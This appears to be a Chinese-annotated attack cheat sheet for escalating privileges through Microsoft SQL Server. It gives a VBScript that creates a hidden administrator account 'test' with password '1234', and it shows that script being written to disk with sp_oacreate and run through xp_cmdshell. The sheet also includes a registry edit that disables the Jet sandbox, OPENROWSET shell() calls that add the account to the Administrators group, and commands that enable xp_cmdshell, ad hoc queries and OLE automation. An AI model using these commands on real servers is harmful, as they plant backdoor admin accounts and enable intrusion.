set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) '得到adsi接口,绑定
Set oe=GetObject(os&"/Administrators,group") '属性,admin组
Set od=ob.Create("user","test") '建立用户
od.SetPassword "1234" '设置密码
od.SetInfo '保存
Set of=GetObject(os&"/test",user) '得到用户
oe.add os&"/test"

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject
("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.
ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject
(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create
("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject
(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'

exec master..xp_cmdshell 'cscript c:\1.vbs'

exec master..xp_cmdshell 'echo set wsnetwork=CreateObject("WSCRIPT.NETWORK")
>>1.vbs'

Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0
\Engines','SandBoxMode','REG_DWORD',1

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows
\system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows
\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup 
administrators test /add")')

NT/2K: c:\winnt\system32\ 
XP/2003: c:\windows\system32\

开启XP_cmdshell：
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;

开启'OPENROWSET'：
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ad Hoc Distributed Queries',1;RECONFIGURE;
开启'sp_oacreate':
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 
'Ole Automation Procedures',1;RECONFIGURE;